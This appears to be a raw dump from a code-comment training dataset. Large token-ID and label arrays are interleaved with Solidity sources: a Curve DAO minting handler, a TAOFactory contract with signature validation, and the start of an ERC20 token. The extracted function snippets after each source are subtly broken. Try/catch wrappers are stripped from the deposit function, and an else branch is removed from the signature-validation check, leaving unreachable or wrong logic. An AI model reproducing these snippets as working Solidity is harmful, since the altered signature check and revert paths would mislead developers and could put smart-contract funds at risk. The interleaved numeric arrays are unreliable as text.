0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
527,
4525,
1887,
12,
2867,
6252,
1887,
13,
3903,
3849,
1338,
4525,
1318,
4908,
1887,
12,
14914,
1887,
13,
288,
203,
3639,
2583,
24899,
14914,
7148,
63,
14914,
1887,
65,
480,
6252,
1887,
16,
315,
4525,
1818,
1704,
8863,
203,
203,
3639,
389,
14914,
7148,
63,
14914,
1887,
65,
273,
6252,
1887,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "../HandlerBase.sol";
import "./IMinter.sol";
import "./ILiquidityGauge.sol";
contract HCurveDao is HandlerBase {
using SafeERC20 for IERC20;
using SafeMath for uint256;
// prettier-ignore
address public constant CURVE_MINTER = 0xd061D61a4d941c39E5453435B6345Dc261C2fcE0;
// prettier-ignore
address public constant CRV_TOKEN = 0xD533a949740bb3306d119CC777fa900bA034cd52;
function getContractName() public pure override returns (string memory) {
return "HCurveDao";
}
function mint(address gaugeAddr) external payable returns (uint256) {
IMinter minter = IMinter(CURVE_MINTER);
address user = _getSender();
uint256 beforeCRVBalance = IERC20(CRV_TOKEN).balanceOf(user);
if (minter.allowed_to_mint_for(address(this), user) == false)
_revertMsg("mint", "not allowed to mint");
try minter.mint_for(gaugeAddr, user) {} catch Error(
string memory reason
) {
_revertMsg("mint", reason);
} catch {
_revertMsg("mint");
}
uint256 afterCRVBalance = IERC20(CRV_TOKEN).balanceOf(user);
_updateToken(CRV_TOKEN);
return afterCRVBalance.sub(beforeCRVBalance);
}
function mintMany(address[] calldata gaugeAddrs)
external
payable
returns (uint256)
{
IMinter minter = IMinter(CURVE_MINTER);
address user = _getSender();
uint256 beforeCRVBalance = IERC20(CRV_TOKEN).balanceOf(user);
if (minter.allowed_to_mint_for(address(this), user) == false)
_revertMsg("mintMany", "not allowed to mint");
for (uint256 i = 0; i < gaugeAddrs.length; i++) {
try minter.mint_for(gaugeAddrs[i], user) {} catch Error(
string memory reason
) {
_revertMsg(
"mintMany",
string(abi.encodePacked(reason, " on ", _uint2String(i)))
);
} catch {
_revertMsg(
"mintMany",
string(abi.encodePacked("Unspecified on ", _uint2String(i)))
);
}
}
_updateToken(CRV_TOKEN);
return IERC20(CRV_TOKEN).balanceOf(user).sub(beforeCRVBalance);
}
function deposit(address gaugeAddress, uint256 _value) external payable {
ILiquidityGauge gauge = ILiquidityGauge(gaugeAddress);
address token = gauge.lp_token();
address user = _getSender();
// if amount == uint256(-1) return balance of Proxy
_value = _getBalance(token, _value);
_tokenApprove(token, gaugeAddress, _value);
try gauge.deposit(_value, user) {} catch Error(string memory reason) {
_revertMsg("deposit", reason);
} catch {
_revertMsg("deposit");
}
}
}
| if amount == uint256(-1) return balance of Proxy | function deposit(address gaugeAddress, uint256 _value) external payable {
ILiquidityGauge gauge = ILiquidityGauge(gaugeAddress);
address token = gauge.lp_token();
address user = _getSender();
_value = _getBalance(token, _value);
_tokenApprove(token, gaugeAddress, _value);
_revertMsg("deposit", reason);
_revertMsg("deposit");
}
| 15,796,871 | [
1,
430,
3844,
422,
2254,
5034,
19236,
21,
13,
327,
11013,
434,
7659,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
443,
1724,
12,
2867,
13335,
1887,
16,
2254,
5034,
389,
1132,
13,
3903,
8843,
429,
288,
203,
3639,
467,
48,
18988,
24237,
18941,
13335,
273,
467,
48,
18988,
24237,
18941,
12,
75,
8305,
1887,
1769,
203,
3639,
1758,
1147,
273,
13335,
18,
9953,
67,
2316,
5621,
203,
3639,
1758,
729,
273,
389,
588,
12021,
5621,
203,
203,
3639,
389,
1132,
273,
389,
588,
13937,
12,
2316,
16,
389,
1132,
1769,
203,
3639,
389,
2316,
12053,
537,
12,
2316,
16,
13335,
1887,
16,
389,
1132,
1769,
203,
203,
5411,
389,
266,
1097,
3332,
2932,
323,
1724,
3113,
3971,
1769,
203,
5411,
389,
266,
1097,
3332,
2932,
323,
1724,
8863,
203,
3639,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity >=0.5.4 <0.6.0;
import './SafeMath.sol';
import './TAOController.sol';
import './ITAOFactory.sol';
import './Name.sol';
import './INameTAOLookup.sol';
import './ITAOAncestry.sol';
import './IAOSetting.sol';
import './Logos.sol';
import './ITAOPool.sol';
/**
* @title TAOFactory
*
* The purpose of this contract is to allow node to create TAO
*/
contract TAOFactory is TAOController, ITAOFactory {
using SafeMath for uint256;
address[] internal taos;
address public nameTAOLookupAddress;
address public aoSettingAddress;
address public logosAddress;
address public nameTAOVaultAddress;
address public taoAncestryAddress;
address public settingTAOId;
address public taoPoolAddress;
INameTAOLookup internal _nameTAOLookup;
IAOSetting internal _aoSetting;
Logos internal _logos;
ITAOAncestry internal _taoAncestry;
ITAOPool internal _taoPool;
// Mapping from TAO ID to its nonce
mapping (address => uint256) internal _nonces;
// Event to be broadcasted to public when Advocate creates a TAO
event CreateTAO(address indexed advocateId, address taoId, uint256 index, string name, address parent, uint8 parentTypeId);
/**
* @dev Constructor function
*/
constructor(address _nameFactoryAddress)
TAOController(_nameFactoryAddress) public {}
/**
* @dev Checks if calling address can update TAO's nonce
*/
modifier canUpdateNonce {
require (msg.sender == nameTAOPositionAddress || msg.sender == taoAncestryAddress || msg.sender == taoPoolAddress);
_;
}
/***** The AO ONLY METHODS *****/
/**
* @dev The AO set the NameTAOLookup Address
* @param _nameTAOLookupAddress The address of NameTAOLookup
*/
function setNameTAOLookupAddress(address _nameTAOLookupAddress) public onlyTheAO {
require (_nameTAOLookupAddress != address(0));
nameTAOLookupAddress = _nameTAOLookupAddress;
_nameTAOLookup = INameTAOLookup(_nameTAOLookupAddress);
}
/**
* @dev The AO set the AOSetting Address
* @param _aoSettingAddress The address of AOSetting
*/
function setAOSettingAddress(address _aoSettingAddress) public onlyTheAO {
require (_aoSettingAddress != address(0));
aoSettingAddress = _aoSettingAddress;
_aoSetting = IAOSetting(_aoSettingAddress);
}
/**
* @dev The AO set the Logos Address
* @param _logosAddress The address of Logos
*/
function setLogosAddress(address _logosAddress) public onlyTheAO {
require (_logosAddress != address(0));
logosAddress = _logosAddress;
_logos = Logos(_logosAddress);
}
/**
* @dev The AO set the NameTAOVault Address
* @param _nameTAOVaultAddress The address of NameTAOVault
*/
function setNameTAOVaultAddress(address _nameTAOVaultAddress) public onlyTheAO {
require (_nameTAOVaultAddress != address(0));
nameTAOVaultAddress = _nameTAOVaultAddress;
}
/**
* @dev The AO set the TAOAncestry Address
* @param _taoAncestryAddress The address of TAOAncestry
*/
function setTAOAncestryAddress(address _taoAncestryAddress) public onlyTheAO {
require (_taoAncestryAddress != address(0));
taoAncestryAddress = _taoAncestryAddress;
_taoAncestry = ITAOAncestry(taoAncestryAddress);
}
/**
* @dev The AO set settingTAOId (The TAO ID that holds the setting values)
* @param _settingTAOId The address of settingTAOId
*/
function setSettingTAOId(address _settingTAOId) public onlyTheAO isTAO(_settingTAOId) {
settingTAOId = _settingTAOId;
}
/**
* @dev The AO set the TAOPool Address
* @param _taoPoolAddress The address of TAOPool
*/
function setTAOPoolAddress(address _taoPoolAddress) public onlyTheAO {
require (_taoPoolAddress != address(0));
taoPoolAddress = _taoPoolAddress;
_taoPool = ITAOPool(taoPoolAddress);
}
/***** PUBLIC METHODS *****/
/**
* @dev Get the nonce given a TAO ID
* @param _taoId The TAO ID to check
* @return The nonce of the TAO
*/
function nonces(address _taoId) external view returns (uint256) {
return _nonces[_taoId];
}
/**
* @dev Increment the nonce of a TAO
* @param _taoId The ID of the TAO
* @return current nonce
*/
function incrementNonce(address _taoId) external canUpdateNonce returns (uint256) {
// Check if _taoId exist
require (_nonces[_taoId] > 0);
_nonces[_taoId]++;
return _nonces[_taoId];
}
/**
* @dev Name creates a TAO
* @param _name The name of the TAO
* @param _datHash The datHash of this TAO
* @param _database The database for this TAO
* @param _keyValue The key/value pair to be checked on the database
* @param _contentId The contentId related to this TAO
* @param _parentId The parent of this TAO (has to be a Name or TAO)
* @param _childMinLogos The min required Logos to create a child from this TAO
*/
function createTAO(
string memory _name,
string memory _datHash,
string memory _database,
string memory _keyValue,
bytes32 _contentId,
address _parentId,
uint256 _childMinLogos,
bool _ethosCapStatus,
uint256 _ethosCapAmount
) public senderIsName senderNameNotCompromised isNameOrTAO(_parentId) {
require (bytes(_name).length > 0);
require (!_nameTAOLookup.isExist(_name));
uint256 _nameSumLogos = _logos.sumBalanceOf(_nameFactory.ethAddressToNameId(msg.sender));
if (AOLibrary.isTAO(_parentId)) {
(, uint256 _parentCreateChildTAOMinLogos,) = _taoAncestry.getAncestryById(_parentId);
require (_nameSumLogos >= _parentCreateChildTAOMinLogos);
} else {
require (_nameSumLogos >= _getCreateChildTAOMinLogos());
}
// Create the TAO
require (_createTAO(_name, _nameFactory.ethAddressToNameId(msg.sender), _datHash, _database, _keyValue, _contentId, _parentId, _childMinLogos, _ethosCapStatus, _ethosCapAmount));
}
/**
* @dev Get TAO information
* @param _taoId The ID of the TAO to be queried
* @return The name of the TAO
* @return The origin Name ID that created the TAO
* @return The name of Name that created the TAO
* @return The datHash of the TAO
* @return The database of the TAO
* @return The keyValue of the TAO
* @return The contentId of the TAO
* @return The typeId of the TAO
*/
function getTAO(address _taoId) public view returns (string memory, address, string memory, string memory, string memory, string memory, bytes32, uint8) {
TAO _tao = TAO(address(uint160(_taoId)));
return (
_tao.name(),
_tao.originId(),
Name(address(uint160(_tao.originId()))).name(),
_tao.datHash(),
_tao.database(),
_tao.keyValue(),
_tao.contentId(),
_tao.typeId()
);
}
/**
* @dev Get total TAOs count
* @return total TAOs count
*/
function getTotalTAOsCount() public view returns (uint256) {
return taos.length;
}
/**
* @dev Get list of TAO IDs
* @param _from The starting index
* @param _to The ending index
* @return list of TAO IDs
*/
function getTAOIds(uint256 _from, uint256 _to) public view returns (address[] memory) {
require (_from >= 0 && _to >= _from);
require (taos.length > 0);
address[] memory _taos = new address[](_to.sub(_from).add(1));
if (_to > taos.length.sub(1)) {
_to = taos.length.sub(1);
}
for (uint256 i = _from; i <= _to; i++) {
_taos[i.sub(_from)] = taos[i];
}
return _taos;
}
/**
* @dev Check whether or not the signature is valid
* @param _data The signed string data
* @param _nonce The signed uint256 nonce (should be TAO's current nonce + 1)
* @param _validateAddress The ETH address to be validated (optional)
* @param _name The Name of the TAO
* @param _signatureV The V part of the signature
* @param _signatureR The R part of the signature
* @param _signatureS The S part of the signature
* @return true if valid. false otherwise
* @return The name of the Name that created the signature
* @return The Position of the Name that created the signature.
* 0 == unknown. 1 == Advocate. 2 == Listener. 3 == Speaker
*/
function validateTAOSignature(
string memory _data,
uint256 _nonce,
address _validateAddress,
string memory _name,
uint8 _signatureV,
bytes32 _signatureR,
bytes32 _signatureS
) public isTAO(_getTAOIdByName(_name)) view returns (bool, string memory, uint256) {
address _signatureAddress = _getValidateSignatureAddress(_data, _nonce, _signatureV, _signatureR, _signatureS);
if (_isTAOSignatureAddressValid(_validateAddress, _signatureAddress, _getTAOIdByName(_name), _nonce)) {
return (true, Name(address(uint160(_nameFactory.ethAddressToNameId(_signatureAddress)))).name(), _nameTAOPosition.determinePosition(_signatureAddress, _getTAOIdByName(_name)));
} else {
return (false, "", 0);
}
}
/***** INTERNAL METHOD *****/
/**
* @dev Actual creating the TAO
* @param _name The name of the TAO
* @param _nameId The ID of the Name that creates this TAO
* @param _datHash The datHash of this TAO
* @param _database The database for this TAO
* @param _keyValue The key/value pair to be checked on the database
* @param _contentId The contentId related to this TAO
* @param _parentId The parent of this TAO (has to be a Name or TAO)
* @param _childMinLogos The min required Logos to create a child from this TAO
* @return true on success
*/
function _createTAO(
string memory _name,
address _nameId,
string memory _datHash,
string memory _database,
string memory _keyValue,
bytes32 _contentId,
address _parentId,
uint256 _childMinLogos,
bool _ethosCapStatus,
uint256 _ethosCapAmount
) internal returns (bool) {
// Create the TAO
address taoId = address(AOLibrary.deployTAO(_name, _nameId, _datHash, _database, _keyValue, _contentId, nameTAOVaultAddress));
// Increment the nonce
_nonces[taoId]++;
// Store the name lookup information
require (_nameTAOLookup.initialize(_name, taoId, 0, TAO(address(uint160(_parentId))).name(), _parentId, uint256(TAO(address(uint160(_parentId))).typeId())));
// Store the Advocate/Listener/Speaker information
require (_nameTAOPosition.initialize(taoId, _nameId, _nameId, _nameId));
// Store the "Ancestry" info of this TAO
require (_taoAncestry.initialize(taoId, _parentId, _childMinLogos));
// Creat a Pool so that public can stake Ethos/Pathos on it
require (_taoPool.createPool(taoId, _ethosCapStatus, _ethosCapAmount));
taos.push(taoId);
emit CreateTAO(_nameId, taoId, taos.length.sub(1), _name, _parentId, TAO(address(uint160(_parentId))).typeId());
if (AOLibrary.isTAO(_parentId)) {
require (_taoAncestry.addChild(_parentId, taoId));
}
return true;
}
/**
* @dev Check whether or not the address recovered from the signature is valid
* @param _validateAddress The ETH address to be validated (optional)
* @param _signatureAddress The address recovered from the signature
* @param _taoId The ID of the TAO
* @param _nonce The signed uint256 nonce
* @return true if valid. false otherwise
*/
function _isTAOSignatureAddressValid(
address _validateAddress,
address _signatureAddress,
address _taoId,
uint256 _nonce
) internal view returns (bool) {
if (_validateAddress != address(0)) {
return (_nonce == _nonces[_taoId].add(1) &&
_signatureAddress == _validateAddress &&
_nameTAOPosition.senderIsPosition(_validateAddress, _taoId)
);
} else {
return (
_nonce == _nonces[_taoId].add(1) &&
_nameTAOPosition.senderIsPosition(_signatureAddress, _taoId)
);
}
}
/**
* @dev Internal function to get the TAO Id by name
* @param _name The name of the TAO
* @return the TAO ID
*/
function _getTAOIdByName(string memory _name) internal view returns (address) {
return _nameTAOLookup.getIdByName(_name);
}
/**
* @dev Get createChildTAOMinLogos setting
* @return createChildTAOMinLogos The minimum required Logos to create a TAO
*/
function _getCreateChildTAOMinLogos() internal view returns (uint256) {
(uint256 createChildTAOMinLogos,,,,) = _aoSetting.getSettingValuesByTAOName(settingTAOId, 'createChildTAOMinLogos');
return createChildTAOMinLogos;
}
/**
* @dev Return the address that signed the data and nonce when validating signature
* @param _data the data that was signed
* @param _nonce The signed uint256 nonce
* @param _v part of the signature
* @param _r part of the signature
* @param _s part of the signature
* @return the address that signed the message
*/
function _getValidateSignatureAddress(string memory _data, uint256 _nonce, uint8 _v, bytes32 _r, bytes32 _s) internal view returns (address) {
bytes32 _hash = keccak256(abi.encodePacked(address(this), _data, _nonce));
return ecrecover(_hash, _v, _r, _s);
}
}
| * @dev Check whether or not the address recovered from the signature is valid @param _validateAddress The ETH address to be validated (optional) @param _signatureAddress The address recovered from the signature @param _taoId The ID of the TAO @param _nonce The signed uint256 nonce @return true if valid. false otherwise/ | function _isTAOSignatureAddressValid(
address _validateAddress,
address _signatureAddress,
address _taoId,
uint256 _nonce
) internal view returns (bool) {
if (_validateAddress != address(0)) {
return (_nonce == _nonces[_taoId].add(1) &&
_signatureAddress == _validateAddress &&
_nameTAOPosition.senderIsPosition(_validateAddress, _taoId)
);
return (
_nonce == _nonces[_taoId].add(1) &&
_nameTAOPosition.senderIsPosition(_signatureAddress, _taoId)
);
}
}
| 12,796,458 | [
1,
1564,
2856,
578,
486,
326,
1758,
24616,
628,
326,
3372,
353,
923,
225,
389,
5662,
1887,
1021,
512,
2455,
1758,
358,
506,
10266,
261,
10444,
13,
225,
389,
8195,
1887,
1021,
1758,
24616,
628,
326,
3372,
225,
389,
2351,
83,
548,
1021,
1599,
434,
326,
399,
20463,
225,
389,
12824,
1021,
6726,
2254,
5034,
7448,
327,
638,
309,
923,
18,
629,
3541,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
202,
915,
389,
291,
9833,
51,
5374,
1887,
1556,
12,
203,
202,
202,
2867,
389,
5662,
1887,
16,
203,
202,
202,
2867,
389,
8195,
1887,
16,
203,
202,
202,
2867,
389,
2351,
83,
548,
16,
203,
202,
202,
11890,
5034,
389,
12824,
203,
202,
13,
2713,
1476,
1135,
261,
6430,
13,
288,
203,
202,
202,
430,
261,
67,
5662,
1887,
480,
1758,
12,
20,
3719,
288,
203,
1082,
202,
2463,
261,
67,
12824,
422,
389,
5836,
764,
63,
67,
2351,
83,
548,
8009,
1289,
12,
21,
13,
597,
203,
9506,
202,
67,
8195,
1887,
422,
389,
5662,
1887,
597,
203,
9506,
202,
67,
529,
9833,
51,
2555,
18,
15330,
2520,
2555,
24899,
5662,
1887,
16,
389,
2351,
83,
548,
13,
203,
1082,
202,
1769,
203,
1082,
202,
2463,
261,
203,
9506,
202,
67,
12824,
422,
389,
5836,
764,
63,
67,
2351,
83,
548,
8009,
1289,
12,
21,
13,
597,
203,
9506,
202,
67,
529,
9833,
51,
2555,
18,
15330,
2520,
2555,
24899,
8195,
1887,
16,
389,
2351,
83,
548,
13,
203,
1082,
202,
1769,
203,
202,
202,
97,
203,
202,
97,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
/**
*Submitted for verification at Etherscan.io on 2021-11-23
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
